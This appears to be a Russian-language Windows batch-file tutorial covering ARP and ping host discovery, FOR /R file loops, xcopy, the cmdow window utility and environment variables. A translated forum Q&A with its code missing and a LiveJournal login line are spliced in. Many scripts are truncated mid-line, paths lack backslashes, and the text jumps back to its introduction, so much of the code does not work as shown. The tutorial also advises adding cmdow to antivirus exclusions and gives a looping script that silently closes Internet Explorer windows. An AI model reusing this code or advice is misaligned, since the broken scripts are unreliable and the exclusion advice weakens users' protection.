При любой передаче пакетов IP-протокола с данного компьютера на IP-адрес другого сетевого устройства в локальной сети, программные средства сетевых протоколов выполняют процедуру определения физического адреса сетевого адаптера получателя ( MAC-адрес получателя). Всем сетевым устройствам отправляется специальный широковещательный запрос ( запрос который будет принят всеми компьютерами данной подсети), означающий «чей MAC – адрес соответствует такому-то IP-адресу». Если какое-либо сетевое устройство опознало свой собственный IP-адрес, оно отправит ARP-ответ, содержащий соответствующий MAC-адрес, который будет сохранен в специальной таблице соответствия адресов IP и MAC, хранящейся в оперативной памяти компьютера, отправившего ARP-запрос. Запись информации в данную таблицу выполняется только при необходимости передачи любых данных по протоколу IP, что можно инициировать, например, пингованием опрашиваемого устройства. Даже если настройками брандмауэра полностью закрыты все соединения извне и блокируется протокол ICMP ( устройство не «пингуется» ) , в буферной памяти сервиса ARP будет присутствовать запись соответствия IP и MAC, если устройство было подключено к локальной сети и участвовало в процедуре разрешения адреса . Таким образом, отсутствие ответа на пинг и наличие записи для пингуемого IP-адреса в ARP-кэш является признаком того, что устройство включено и присутствует в локальной сети.
Для просмотра содержимого ARP-кэш можно воспользоваться командой
arp -a — отобразить все записи в таблице ARP
Пример отображения таблицы ARP:
Интерфейс: 192.168.0.29 — 0xa
адрес в Интернете Физический адрес Тип
192.168.0.1 00-1e-13-d6-80-00 динамический
192.168.0.3 60-eb-69-08-18-d2 динамический
Интерфейс: 192.168.234.1 — 0xf
адрес в Интернете Физический адрес Тип
192.168.234.255 ff-ff-ff-ff-ff-ff статический
224.0.0.22 01-00-5e-00-00-16 статический
224.0.0.252 01-00-5e-00-00-fc статический
239.255.255.250 01-00-5e-7f-ff-fa статический
Как видно из приведенной таблицы, например IP – адресу 192.168.0.1 соответствует физический адрес сетевого адаптера, равный 00-1e-13-d6-80-00 . Если же сетевой адаптер с данным адресом будет недоступен, то такой записи в таблице не будет.
Для понимания алгоритма опроса сети необходимо учесть следующее:
Разрешение адресов ARP используется только при передаче данных по IP-протоколу в пределах сегмента локальной сети, задаваемого маской. Так, например, для примера с IP адресом 192.168.0.1 и маски 255.255.255.0 это будет диапазон IP от 192.168.0.1 до 192.168.0.254. Обращение же к любому другому адресу будет выполняться через устройства маршрутизации . Т.е. при выполнении команды
В таблице ARP будет не MAC-адрес сетевого адаптера, соответствующего IP-адресу узла с именем «yandex.ru», а MAC-адрес шлюза, через который выполнилась отправка IP-пакета для доставки получателю в «чужой» сети.
Ниже приводится простой пример командного файла, определяющего список включенных сетевых устройств локальной сети по результатам выполнения команд PING и ARP.
REM Устанавливаем значение переменной IPTMP — постоянной части IP-адреса
REM Переменная N задает количество опрашиваемых IP-адресов
rem Переменная IPMIN задает начальный IP-адрес. ( полный адрес состоит из IPTMP IPMIN )
REM результаты будут записаны в файл oprosipplus.txt
ECHO %DATE% Опрос ARP %N% адресов начиная с %IPTMP%%IPMIN% >> oprosipplus.txt
rem M0 — метка для организации цикла
rem Переменная IPFULL — полное значение текущего IP-адреса, состоящего из IPTMP И IPMIN
rem Если » хвост «больше N — на завершение работы
IF %IPMIN% GTR %N% GOTO ENDJOB
REM если « хвост » меньше N – продолжим опрос
REM выполним пинг и проверим наличие записи в ARP-кэш
ping -n 1 %IPFULL%
arp -a | find /I «%IPFULL%»
REM Если запись есть — запишем это событие в журнал oprosipplus.txt
if %ERRORLEVEL%==0 Echo %IPFULL% >> OPROSipPLUS.txt
rem Сформируем следующий IP-адрес
set /A IPMIN=%IPMIN% + 1
rem Перейдем на выполнение следующего шага
rem Завершение работы
Работа с дисками, файлами и каталогами.
Задача — определить буквы дисков, присутствующих в системе и записать результат в файл с именем tstdsk.txt текущего каталога. Можно воспользоваться выполнением команды IF EXIST в цикле FOR для набора из букв латинского алфавита, т.е для каждой буквы диска проверить наличие корневого каталога командой
IF EXIST буква диска:
Сначала создаем пустой файл:
copy nul tstdsk.txt
Это действие необязательно, если файла не существует, но в противном случае, результаты будут дописываться в конец файла, и если в нем уже был список дисков от предыдущего исполнения командного файла, то он удвоится. Команда copy nul tstdsk.txt для существующего файла установит нулевой размер данных, т.е. сделает его пустым.
Окончательно, командный файл будет выглядеть следующим образом:
copy nul tstdsk.txt
for %%i in (a,b,c,d,e,f,g,h ,i,j,k,l,m,n,o,p,q,r ,s,t,u,v,w,x,y,z) DO (
if exist %%i: echo Disk %%i: exist >> tstdsk.lst
)
Для обработки файлов определенного типа, например любых с расширением .tmp используется маска — *.tmp . Так, для удаления всех файлов *.tmp из каталога C:TEMP можно воспользоваться командой ERASE (или DEL )
ERASE C:TEMP*.TMP
DEL /Q C:TEMP*.TMP
В масках файлов и каталогов возможно использование частичных имен
ERASE C:TEMPA*.TMP — удалить все файлы с расширением .TMP , имя которых начинается с символа «A»
DIR *u*.* — выдать список всех файлов и подкаталогов текущего каталога, в имени которых содержится символ «u»
DIR C:*t.* — выдать список всех файлов и каталогов в корне диска C: , имя которых заканчивается символом «t»
Задача — получить список всех каталогов с подкаталогами на логическом диске и записать результат в текстовый файл. Для рекурсивной обработки каталогов диска будем использовать команду FOR /R
FOR /R [[диск:]путь] %переменная IN (набор) DO команда [параметры]
Ключ /R означает выполнение команды для каталога [диск:]путь . Если в команде путь не задан, то обработка выполняется для текущего каталога.
Простой пример удаления файлов с расширением .tmp из каталога C:TEMP:
FOR /R C:temp %%i IN (*.tmp) DO del %%i
При выполнении команды возможно использование подстановочных значений переменной цикла для получения имен дисков, папок, файлов и их характеристик. Полный список возможных значений в случае использования переменной с именем i
i — из переменной %i удаляются обрамляющие кавычки («)
%%
fi — переменная %i расширяется до полного имени файла
%%
di — из переменной %i выделяется только имя диска
%%
pi — из переменной %i выделяется только путь к файлу
%%
ni — из переменной %i выделяется только имя файла
%%
xi — из переменной %i выделяется расширение имени файла
%%
si — полученный путь содержит только короткие имена
%%
ai — переменная %i принимает значение атрибутов файла
%%
ti — переменная %i принимает значение даты /времени файла
%%
zi — переменная %i принимает значение размера файла
Возможно объединение нескольких операторов :
dpi — переменная %i заменяется только на имя диска и путь
%%
nxi — переменная %i заменяется только на имя файла и его расширение
%%
fsIi — переменная %i заменяется только на полный путь с краткими именами
%%
ftzai — переменная %I заменяется на строку, выдаваемую командой DIR
Значение переменной %%pi внутри цикла команды FOR /R будет последовательно принимать значения путей папок, начиная с заданного набора [диск:]путь .
Так же, как и в предыдущем примере, желательно обнулить файл с результатами возможного предыдущего запуска данного командного файла:
REM Обнулить / создать файл для хранения списка каталогов C:dirlist.txt
copy nul C:dirlist.txt
REM Занесем первой строкой в пустой файл что-то вроде заголовка списка
Echo *** Список папок на диске C: *** >> C:dirlist.txt
REM Сделать текущим каталогом корневой каталог диска C:
cd c:
REM Выполнить для корневого каталога и всех вложенных каталогов, команду ECHO с выдачей значения переменной %%
pi
for /R %%i in (C) DO (
ECHO Папка «%%
В результате выполнения этого командного файла в корне диска C: будет создан файл dirlist.txt, содержащий список каталогов диска.
Если в цикле команды FOR /R используются подстановочные значения переменной %%I, то в качестве набора (in) не стоит использовать символ точки.
Задача — найти на диске файлы с расширением .log и скопировать их в каталог на другом логическом диске — D:MUSOR
Желательно проверить наличие каталога D:MUSOR и при необходимости, создать его командой md , а также удалить из него все файлы, если они существуют, командой del . Затем выполнить переход в корневой каталог диска C: и выполнить в цикле команды FOR поиск файлов по маске *.log во всех подкаталогах.
REM подготовить каталог D:MUSOR
if not exist D:MUSOR md D:MUSOR
REM удалить без подтверждения ( /Q) все файлы из каталога
del /Q D:MUSOR*.*
REM перейти в корень диска C:
cd c:
REM Выполнить проверку наличия файлов с расширением *.log и скопировать их в
REM D:MUSOR
for /R %%i in (c) DO (
if exist «%%
Практика использования FOR /R показала, что не стоит использовать в качестве набора для обработки символ «точка» ( конструкция in (.) ), поскольку при использовании подстановочных значений, можно получить возврат из текущего каталога на уровень выше. В данном примере в качестве набора in используется любой не служебный символ. Команду копирования ( copy ) можно заменить на команду перемещения файлов (MOVE), что приведет к удалению файлов источников после копирования в каталог D:MUSOR.
Пример с копированием файлов с расширением .log рассмотренный выше имеет некоторые существенные недостатки — не обрабатываются скрытые файлы и папки, и в конечном каталоге, куда копируются файлы ( D:MUSOR ) не создаются подкаталоги с теми же именами, которые принадлежат путям исходных копируемых файлов. Для устранения этих недостатком можно использовать немного другой сценарий :
@echo off
REM подготовить каталог D:MUSOR — удалить его и его подкаталоги командой RD
RD /S /Q D:MUSOR
REM Создадим каталог заново
MD D:MUSOR
REM Задаем начальную папку для обработки в команде FOR — C:
for /R C: %%i in (C) DO (
xcopy «%%
Для копирования используется команда xcopy с ключами:
/H — копировать скрытые файлы.
/R — разрешение на замену файлов с атрибутом «Только чтение»
/Q — не отображать имена копируемых файлов
/Y — разрешать перезаписывать существующие файлы.
Подсказку по использованию команды XCOPY можно получить при вводе:
help xcopy
xcopy /?
При обработке строки xcopy «%%
pi*.*» /H /R /Q /Y в цикле FOR, в качестве источника копирования будет выбираться C:текущий путь*.log а в качестве приемника — D:MUSORтекущий путьимя копируемого файла
Похожий подход можно использовать для обнаружения и копирования исполняемых файлов (*.exe) из каталога временных файлов, задаваемого переменной TEMP. Бывает полезно для поиска вредоносных программ.
rem @echo off
REM подготовить каталог D:MUSOR — удалить командой RD
RD /S /Q D:MUSOR
REM Создадим каталог заново
MD D:MUSOR
REM Задаем начальную папку для обработки (%TEMP%) и выполняем FOR
for /R «%TEMP%» %%i in (C) DO (
xcopy «%%
При работе с содержимым каталогов удобно использовать команды запоминания текущего каталога и перехода в новый PUSHD и команды восстановления ранее запомненного текущего каталога POPD
PUSHD «%TEMP%»
Echo Работаем в каталоге временных файлов
REM новый каталог стал текущим и можно использовать относительные пути
REM Выдать список exe-файлов текущего каталога (%TEMP%) командой DIR
DIR *.exe
REM Восстановить путь, запомненный командой PUSHD
POPD
)
Echo Вернулись в исходный каталог
Работа с графическими приложениями Windows.
Допустим, вам нужно из одного и того же командного файла запустить notepad.exe и cmd.exe. Если просто вставить строки
notepad.exe
cmd.exe
то после запуска notepad.exe выполнение командного файла приостановится и пока не будет завершен notepad, cmd.exe не запустится. Самый простой способ обойти эту проблему — использовать стандартную команду Windows start . Полную справку по использованию можно получить по:
start /?
Попробуйте создать командный файл следующего содержания:
start /MAX notepad.exe
start «This is CMD.EXE» /MIN cmd.exe
net send %COMPUTERNAME% NOTEPAD and CMD running.
После выполнения этого командного файла вы увидите стартовавшие, в развернутом окне (ключ /MAX) блокнот, в свернутом окне (ключ /MIN) командный процессор CMD.EXE и окно с сообщением net.exe. Стандартный заголовок окна cmd.exe заменен на текст «This is CMD.EXE». Обратите внимание на то что заголовок окна можно опускать, но особенность обработки входных параметров командой start может привести к неожиданным результатам при попытке запуска программы, имя или путь которой содержит пробел(ы). Например при попытке выполнить следующую команду:
start «C:Program FilesFARFAR.EXE»
Из-за наличия пробела в пути к исполняемому файлу, строка для запуска FAR.EXE должна быть заключена в двойные кавычки, однако формат входных параметров для start предполагает наличие заголовка окна, также заключаемого в двойные кавычки, в результате чего «C:Program FilesFARFAR.EXE» интерпретируется не как исполняемая программа, а как заголовок окна. Для того, чтобы подобного не случилось нужно использовать любой, пусть даже пустой, заголовок:
start «» «C:Program FilesFARFAR.EXE»
Если вам все же потребуется расширенное управление окнами приложений, придется воспользоваться сторонним программным обеспечением, например, широко известная утилита cmdow.exe
Текущую версию программы можно скачать на странице разработчика CMDOW
Из-за специфического поведения эта утилита большинством антивирусов определяется как вирус, поэтому для нормальной работы нужно занести ее в исключения антивируса. И по этой же причине, архив программы закрыт паролем novirus
Cmdow.exe — крошечная утилита, работающая во всех версиях Windows и не требующая установки. Позволяет получить список окон, перемещать, изменять размеры, переименовывать, сворачивать/разворачивать, активировать/деактивировать, закрывать, скрывать окна приложений и многое другое. Справку можно получить по команде:
cmdow /?
Используется около 30 ключей. Описание на русском языке найдете здесь. Некоторые примеры:
cmdow.exe или cmdow.exe > wins.txt — выдать информацию обо всех окнах на экран или в файл wins.txt
cmdow /T — выдать информацию об окнах, отображаемых на панели задач рабочего стола.
Информация содержит колонки:
Handle — дескриптор окна — шестнадцатеричное число, связанное с данным окном.
Lev — уровень окна. Приложение может быть многооконным с несколькими уровнями окон.
Pid — идентификатор процесса, породившего окно.
-Window status- — состояние окна (видимое — Vis, скрытое — Hid, активное — Act, свернутое — Min и т.п.
Image — программа вызвавшая окно.
Caption — название окна
Манипулировать окнами можно используя название окна, или его дескриптор. Если название окна содержит пробелы, то оно заключается в двойные кавычки. Если имеются русские буквы, то должна использоваться DOS-кодировка. Символ @ используется для указания текущего окна. Иногда проще использовать дескриптор окна, а не его название. Полезным может быть и использование команды поиска по строке find.exe, выполняемой в цепочке с cmdow:
cmdow.exe | find.exe /I «hid» > wins.txt — в файл wins.txt попадут только строки содержащие шаблон «hid» и мы получим список скрытых окон.
cmdow.exe | find.exe /I «MyIE» > wins.txt — список окон приложения MyIE
@ECHO OFF
REM Свернуть все окна — /MA
cmdow /MA
REM запустить cmd.exe с заголовком окна MyCMD
start «MyCMD» cmd.exe
REM ждать 5 секунд
call :wait5s
REM
:M1
REM Скрыть окно MyCMD
cmdow MyCMD /hid
call :wait5s
REM Сделать видимым
cmdow MyCMD /vis
call :wait5s
REM Переместить в верхний левый угол экрана и развернуть окно
cmdow MyCMD /MOV 0 0
cmdow Mycmd /max
call :wait5s
REM Изменить размер на 320 х 240 и переместить вправо на 320 точек
cmdow MyCMD /MOV 320 0 /SIZ 320 240
call :wait5s
REM Переместить окно в точку с координатами 320 x 240 и изменить размер на 350×50
cmdow MYCMD /MOV 320 240 /SIZ 350 50
call :wait5s
REM Восстановить окно
cmdow MYCMD /RES
call :wait5s
REM Восстановить и сделать активным окно этого командного файла
cmdow @ /RES /ACT
ECHO Для завершения нажмите CTRL-C (CTRL-Break)
call :wait5s
call :wait5s
REM Зацикливание — переход к метке :M1
GOTO M1
REM Подпрограмма задержки на 5секунд
:wait5s
@ping -n 5 localhost > nul
Пример командного файла, закрывающего окна Проводника Интернет (IEXPLORE.EXE):
@echo off
:M1
for /f «tokens=1-2,8» %%a in (‘cmdow’) do (
if /i «%%c»==»IEXPLORE» if «%%b»==»1» cmdow %%a /END > nul
)
goto M1
Работает это следующим образом. Из выходных данных CMDOW берется первое, второе и 8-е поля. Первое — дескриптор окна (Handle), второе — уровень (Lev), третье — имя программы (Image). В цикле выполняется cmdow и если в ее выводе имеется строка, где имя программы IEXPLORE и уровень окна 1 выполняется cmdow /END . Пока этот командный файл выполняется, запустить «Обозреватель интернета» не получится. А если в начало командного файла добавить «cmdow @ /hid» — то будет скрыто и его окно.
Перекодировка текстовых файлов.
В рассматриваемом примере нужно преобразовать исходный текстовый файл в DOS-кодировке в новый текстовый файл в Windows-кодировке. В качестве механизма перекодировки используется смена кодовой страницы командой CHCP и построчная выдача содержимого исходного файла командой ECHO с перенаправлением вывода в новый файл. Для DOS-кодировки используется кодовая страница 866, для Windows-кодировки — 1251. В примере исходный файл называется 866.txt, а файл с перекодированными данными — 1251.txt
@echo off
chcp 866 >nul
for /f «tokens=*» %%i in (866.txt) do call:to1251 «%%i»
exit
:to1251
chcp 1251 >nul
echo %
1 >>1251.txt
chcp 866 >nul
exit /b
Аналогичный подход можно использовать и для преобразования текста из Windows — кодировки ( кодовая страница 1251) в DOS-кодировку (кодовая страница 866). Естественно, такая перекодировка не может учитывать пустые строки и форматирование текста с помощью спецсимволов, поскольку команда ECHO не позволяет работать с такими форматами данных.
Своеобразным современным стандартом программы для перекодировки файлов считается, портированная из Unix утилита iconv (в составе библиотеки libiconv).
iconv [-c] [-s] [-f encoding] [-t encoding] [inputfile . ]
Входная кодировка задаётся ключом -f , а выходная — ключом -t . Если ключи не заданы, используется кодировка для языка системы по умолчанию. Все входные файлы читаются по очереди, если не задан параметр входного файла, то используется стандартный ввод, а конвертируемый текст выводится на стандартный вывод.
Когда задана опция -c , символы, которые не могут быть преобразованы просто выбрасываются. В противном случае при появлении подобной ошибки программа аварийно завершается.
Когда задана опция -s , сообщения об ошибках не выводятся.
Ключ -l позволяет получить список доступных кодировок. Утилита позволяет перекодировать текст, практически, из любой кодировки в любую.
Скачать последнюю версию iconv для Windows (в составе пакета libiconv) можно здесь
Часто встречающиеся ошибки при написании командных файлов.
Обычно, это вызвано тем, что вы не учитываете тот факт, что на момент выполнения вашего командного файла переменные среды могут быть совсем другими, чем на момент его написания и запуска из командной строки. Например, в командном файле используется запуск приложения myprog.exe, находящегося в каталоге SCRIPTS на диске D: . Если в командном файле используется имя исполняемого модуля без полного пути
MYPROG.EXE
и если каталог D:SCRIPTS не прописан в путях поиска (переменная PATH ) то модуль MYPROG.EXE может быть найден и выполнен только если текущим каталогом является D:SCRIPTS. Но если вы укажете полный путь к myprog.exe:
D:SCRIPTSmyprog.exe
то программа будет найдена и выполнена в любом случае.
Кроме того, нередко программа, указанная в командном файле использует для поиска своих компонент (dll, ini и т.п. ) собственный каталог. Но на момент ее выполнения текущим каталогом может быть любой (чаще всего — системный каталог Windows). Естественно, компоненты не находятся и программа не выполняется. Для устранения проблемы добавьте в командный файл команды, обеспечивающие переход в нужный каталог. Например, программа myprog.exe должна выполняться в каталоге D:SCRIPTS:
Rem Сменим текущий диск
D:
Rem перейдем в каталог SCRIPTS
CD D:SCRIPTS
myprog.exe
Также для переходов по каталогам можно воспользоваться командами pushd и popd, описание и примеры использования которых имеются в разделе сайта со списком команд Windows.
Причина в том, что при создании командных файлов вы использовали текстовый редактор, в котором русские символы представлены не в DOS-кодировке. Если в приведенном выше примере перезапуска службы «DNS-клиент» вы используете неверную кодировку, то русская часть имени службы не будет опознана из-за неверной кодировки и будет выдано сообщение, что указанная служба не установлена. Чтобы избежать проблем с русскими символами в командных файлах, используйте редактор с поддержкой DOS-кодировки, например, встроенный редактор файлового менеджера Far Manager. Переключение между кодировками в редакторе осуществляется нажатием F8 . С помощью FAR можно легко осуществлять перекодировку, скопировав (вырезав) текст в буфер обмена, затем нажав F8 и вставив текст из буфера.
Обычно это вызвано применением в командных файлах абсолютных значений для дисков, файлов и каталогов вместо переменных среды окружения. Вместо C:WINDOWS правильнее использовать %SYSTEMROOT%, потому, что на другом компьютере система может быть установлена в другой каталог или на другой диск. Старайтесь вместо имени командного файла использовать переменную %0 и ее подстановочные варианты (%
d0 — диск с которого запущен сценарий, %
dp0 — полный путь и т.д.).
Строки с переменными, принимающими значения имен файлов и каталогов лучше заключать в кавычки. Командная строка
не выдаст вам содержимого каталога C:Program Files , поскольку из-за наличия пробела будет интерпретирована как
Командная строка
DIR «%ProgramFiles%»
выполнится верно.
Старайтесь использовать команды Setlocal и Endlocal, чтобы не оставлять мусор из переменных, созданных или модифицированных командным файлом.
Использование командных файлов в сценариях регистрации пользователей .
Командные файлы удобно использовать для выполнения каких-либо действий при регистрации пользователя в домене. Делается это с помощью вкладки Profile свойств пользователя домена.
Сами командные файлы должны находиться в сетевой папке Netlogon (WINDOWSSYSVOL DOMAINSCRIPTS) контроллера домена.
Однако наиболее распространенной областью применения командных файлов является их использование в сценариях групповых политик, позволяющих централизованно выполнять административные действия по управлению большим количеством компьютеров и пользователей в домене, что значительно облегчает работу системных администраторов крупных компьютерных сетей.
Дополнительные материалы по командной строке Windows:
Раздел со списком команд CMD Windows. Имена большинства команд представляют собой ссылку на страницы с их описанием и примерами.
Настройка окна командной строки Windows. Малоизвестные возможности по изменению свойств консоли Windows.
Работа с сетью в командной строке Windows — Описание и примеры использования утилит командной строки для работы с сетью.
Запуск командных файлов от имени администратора без запроса UAC — использование планировщика заданий для запуска приложений от имени Администратора без запроса системы контроля учетных записей UAC.
Если вы желаете поделиться ссылкой на эту страницу в своей социальной сети, пользуйтесь кнопкой «Поделиться»
Как передать параметры командной строки в пакетный файл?
Мне нужно передать id и пароль в файл cmd (или bat) во время запуска, а не жестко закодировать их в файл.
вот как выглядит командная строка:
15 ответов
еще один полезный совет-использовать %* означает «все». Например:
вышеуказанный пакетный файл будет запущен:
возможно, синтаксис немного неправильный, но это общая идея.
вот как я это делаю.
вот как выглядит командная строка:
%1 применяется к первому параметру %2 (и вот сложная часть) применяется ко второму. Таким образом, можно передать до 9 параметров.
Если вы хотите грамотно обрабатывать отсутствующие параметры, вы можете сделать что-то вроде:
доступ к параметрам пакета может быть простым с %1, %2, . %Или 9 %*,
но только если содержание простое.
нет простого способа для сложного содержимого, такого как «&»^& , так как невозможно получить доступ к %1 без возникновения ошибки.
линии расширяются до
и каждая строка терпит неудачу, как одна из & вне кавычек.
это можно решить с помощью чтения из временного файла a отметил вариант параметр.
фокус в том, чтобы включить echo on и разверните %1 после rem заявление (работает также с %2 .. %* ).
Так даже «&»& можно было бы повторить, не производя ошибки, как это отмечается.
но иметь возможность перенаправлять вывод echo on , вам нужны два for-loops.
лишние символы * # используются, чтобы быть в безопасности от содержимого, как /? (показал бы помогите REM ).
Или каретка ^ в конце строки может работать как многострочный символ, даже после rem .
затем чтение параметр rem вывод из файла, но осторожно.
FOR / F должен работать с отложенным расширением, иначе содержимое с «!- будут уничтожены.
После удаления дополнительных символов в param1 вы получили это.
и использовать param1 безопасным способом включите отложенное расширение.
да, и не забудьте использовать переменные типа %%1 при использовании if и for и банды.
если вы забыли дважды % , то вы будете подставлять в (возможно, null) аргументы командной строки, и вы получите некоторые довольно запутанные сообщения об ошибках.
нет необходимости усложнять ее. Это просто Команда %1 %2 параметры, например,
«пауза» отображает то, что сделал пакетный файл, и ждет, когда вы нажмете любую клавишу. Сохраните это как xx.bat в папке Windows.
чтобы использовать его, введите, например:
этот пакетный файл заботится обо всех необходимых параметрах, таких как копирование только файлов, которые являются более новыми и т. д. Я использовал его еще до Windows. Если вам нравится видеть имена файлов, поскольку они копируются, не включают
Примечание: если «%1″==»» вызовет проблем, если %1 заключен в кавычки сам.
в этом случае используйте IF [%1]==[] или, в NT 4 (SP6) и выше, .
друг недавно спрашивал меня об этом предмете, поэтому я подумал, что опубликую, как я обрабатываю аргументы командной строки в пакетных файлах.
этот метод имеет немного накладных расходов, как вы увидите, но это делает мои пакетные файлы очень легко понять и быстро реализовать. А также поддержка следующих структур:
Авторизуясь в LiveJournal с помощью стороннего сервиса вы принимаете условия Пользовательского соглашения LiveJournal
Общие сведения о командном процессоре Windows.
Командные файлы (скрипты, сценарии, батники) — это обычные текстовые файлы с расширением .bat или .cmd, строки которых представляют собой специальные команды командного процессора (интерпретатора команд ) и/или имена исполняемых файлов. Командный процессор – это специальная программа, являющаяся обязательным элементом почти любой операционной системы, главным назначением которого, является предоставление пользователю средства для выполнения определенных программ без их компиляции и создания исполняемых файлов. Для операционных систем DOS и Windows9X в качестве интерпретатора команд использовался командный процессор command.com, для всех остальных ОС семейства Windows ( NT/2k/XP/Vista/7/8 и старше) — cmd.exe. Несмотря на непрерывное совершенствование средств создания и выполнения сценариев с использованием объектно-ориентированных языков, обычная командная строка и простые командные файлы, по-прежнему остаются основным инструментом для выполнения рутинных действий, диагностики сетевых проблем, автоматизации процессов резервного копирования и т.п. При всех недостатках реализации командного процессора в Windows, достойной альтернативы ему нет, и очевидно в ближайшем будущем, не будет.
Строки командных файлов могут содержать специфические команды самого
процессора команд (FOR, ECHO, REM и т.п.) или имена исполняемых модулей
(net.exe, regedit.exe, sc.exe) Командный процессор может быть запущен в интерактивном режиме через Пуск — Выполнить — CMD.EXE. В данном режиме, вы увидите окно консоли с приглашением к вводу команд. Возможный список большинства консольных команд можно получить введя:
Справочную информацию по конкретной команде можно получить, указав ее название в качестве параметра команды HELP:
HELP Имя команды
Если вы работаете в русифицированной версии Windows, то учтите, что в среде командного процессора символы национального алфавита используются в DOS-кодировке. Для переключения между кодовыми страницами Windows и DOS используется команда
CHCP номер страницы
CHCP 866 — использовать кодовую страницу 866 (DOS)
CHCP 1251 — использовать кодовую страницу 1251 (WINDOWS)
Для просмотра и редактирования командных файлов, содержащих символы русского алфавита нужно использовать редактор с поддержкой DOS-кодировки. Если вы используете стандартное приложение «Блокнот» (notepad.exe), то для правильного
отображения символов русского алфавита нужно выбрать шрифт Terminal, с
помощью меню Правка — Шрифт.
Внешний вид окна CMD.EXE (консоли Windows) можно изменить с помощью команды
В качестве аргументов для команды используются 2 шестнадцатеричные цифры, задающие цвет фона и цвет символа.
COLOR F0 — черные символы на белом фоне.
COLOR 0E — светло-желтые символы на черном фоне.
HELP COLOR — подсказка для команды COLOR.
Работа с командным процессором предполагает использование двух устройств — устройства ввода (клавиатуры) и устройства вывода (дисплей). Однако, имеется возможность изменить стандартно используемые устройства ввода-вывода с помощью специальных символов — символов перенаправления
> — перенаправление вывода
< — перенаправление ввода
Для вывода справки не на экран а, например, в файл с именем help.txt, можно использовать следующую команду:
HELP > help.txt
При выполнении данной команды, в текущем каталоге будет создан файл с именем help.txt, содержимым которого будет результат вывода команды HELP. Если файл help.txt существовал на момент выполнения команды, его содержимое будет перезаписано. Для того, чтобы дописать данные в конец существующего файла, используют удвоение символа перенаправления вывода — «>>»
HELP GOTO > myhelp.txt — в файл myhelp.txt будет выдана справка по использованию команду GOTO
HELP COLOR >> myhelp.txt — в конец файла myhelp.txt будет дописана справка по использованию команды COLOR
Простейший пример перенаправления ввода:
cmd.exe < commands.txt
— командный процессор не будет ожидать ввода команд с клавиатуры, а считает их из файла commands.txt
При запуске командного процессора можно указать конкретную команду в качестве аргумента командной строки:
cmd.exe /C HELP FOR — выполнить команду HELP FOR и завершиться (ключ /C)
cmd.exe /K HELP FOR — выполнить команду HELP FOR и перейти в режим ожидания дальнейшего ввода команд (ключ /K)
Подробную справку по использованию cmd.exe можно получить, введя в качестве аргумента ключ /?
Кроме символов перенаправления ввода-вывода в командной строке могут
использоваться символы объединения команд — && и ||
cmd.exe /C «HELP IF > nul» && Echo HELP Executed || Echo HELP Not Executed
— выполнить команду HELP IF и при успешном результате выполнить
команду Echo HELP Executed, а при неуспешном — Echo HELP Not Executed.
Команды, объединяемые для
выполнения с помощью конструкции && , не нужно заключать в
двойные кавычки. Выполнение строки
cmd.exe /C «HELP IF > nul» && Echo HELP Executed || Echo HELP Not Executed
завершится сообщением HELP Executed, а выполнение
cmd.exe /C «HELP uIF > nul» && Echo HELP Executed || Echo HELP Not Executed
где неверно задан аргумент команды HELP ( uIF ), завершится сообщением
HELP Not Executed
Файлы с расширением .bat или .cmd в среде Windows стандартно открываются
командным процессором аналогично примеру, где список команд считывается не с
устройства ввода, а из текстового файла.
Использование переменных в командных файлах.
Существует такое понятие, как переменные окружения
(environments) — это переменные, значения которых характеризуют среду,
в которой выполняются команда или пакетный файл. Иногда их называют
переменными среды. Принимаемые значения этих переменных формируются при
загрузке, регистрации пользователя в системе, старте или завершении
некоторых приложений, и, кроме того, могут быть заданы с помощью специальной
команды SET
переменная — имя переменной среды.
строка — строка символов, присваиваемая указанной
переменной.
Например, командная строка
SET myname=Vasya
создает переменную myname, принимающую значение Vasya.
Значение, присвоенное какой-либо переменной, доступно для обработки в
командных
файлах, при использовании ее имени, заключенного в знаки
процента — % . Например
команда выдачи текста на дисплей ECHO в виде:
ECHO date — выведет на экран слово «date»,
а команда
ECHO %date% выведет на экран значение
переменной date — текущую дату в формате операционной системы.
С помощью команды SET обычно задается и модифицируется путь поиска
исполняемых программ
— переменная окружения PATH.
SET PATH=C:Windows;C:windowssystem32
После выполнения данной команды, поиск исполняемых файлов будет выполняться в
каталоге C:Windows, и, если результат неуспешен, в
C:windowssystem32
Допустим Вам необходимо выполнить программу myedit.exe, размещенную в
каталоге C:NewProgs
Если в командной строке не задан полный путь, а только имя
исполняемого файла — myedit.exe
то сначала будет выполняться поиск файла myedit.exe в текущем каталоге, и если
он не будет найден — в каталогах, список которых задается значением переменной
PATH. Символ ; является разделителем элементов в списке путей поиска.
Если в приведенном примере, текущим каталогом не является
C:NewProgs, и в остальных каталогах, заданных значением переменной
PATH. нет исполняемого файла myedit.exe, то запуск приложения myedit.exe
завершится ошибкой. Однако, если есть необходимость его запуска без указания полного
пути и при любом значении текущего каталога, можно модифицировать значение
переменной PATH
SET PATH=C:NewProgs;%path%
изменит текущее значение PATH,
добавив каталог C:NewProgs в начало списка.
Выполнение команды SET без параметров позволяет получить текущие
значения переменных окружения:
NUMBER_OF_PROCESSORS=1 — количество процессоров
OS=Windows_NT- тип ОС
Path=C:WINDOWSsystem32;C:WINDOWS;C:P rogram FilesFar — путь поиска исполняемых файлов.
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.J S;.JSE;.WSF;.WSH — расширения для исполняемых файлов.
PROCESSOR_ARCHITECTURE=x86 — архитектура процессора.
PROCESSOR_IDENTIFIER=x86 Family 6 Model 8 Stepping 1, AuthenticAMD — идентификатор процессора.
PROCESSOR_LEVEL=6 — уровень (номер модели) процессора.
PROCESSOR_REVISION=0801 — версия процессора.
ProgramFiles=C:Program Files — путь к папке «Program Files»
PROMPT=$P$G — формат приглашения командной строки $P — путь для текущего каталога $G — знак «>».
SystemDrive=C: — буква системного диска.
SystemRoot=C:WINDOWS — каталог ОС Windows.
Значение некоторых переменных по команде SET не выдаются. В основном, это переменные, принимаемые значения которых динамически изменяются:
%CD% — Принимает значение строки текущего каталога.
%DATE% — Принимает значение текущей даты.
%TIME% — Принимает значение текущего времени.
%RANDOM% — Принимает значение случайного десятичного числа в диапазоне 1 -32767.
%ERRORLEVEL% — Принимает текущее значение кода завершения задачи ERRORLEVEL
%CMDEXTVERSION% — Принимает значение версии командного процессора CMD.EXE для расширенной обработки команд.
%CMDCMDLINE% — Принимает значение строки, которая вызвала
командный процессор.
Для просмотра действующего значения какой-либо переменной обычно используется
команда:
ECHO %переменная%
ECHO %CD% — отобразить имя текущего каталога
ECHO %TIME% — отобразить текущее время
ECHO %ERRORLEVEL% —
отобразить результат выполнения предыдущей команды.
Значения, принимаемые переменными окружения, могут быть расширены с помощью
специального признака — символа «
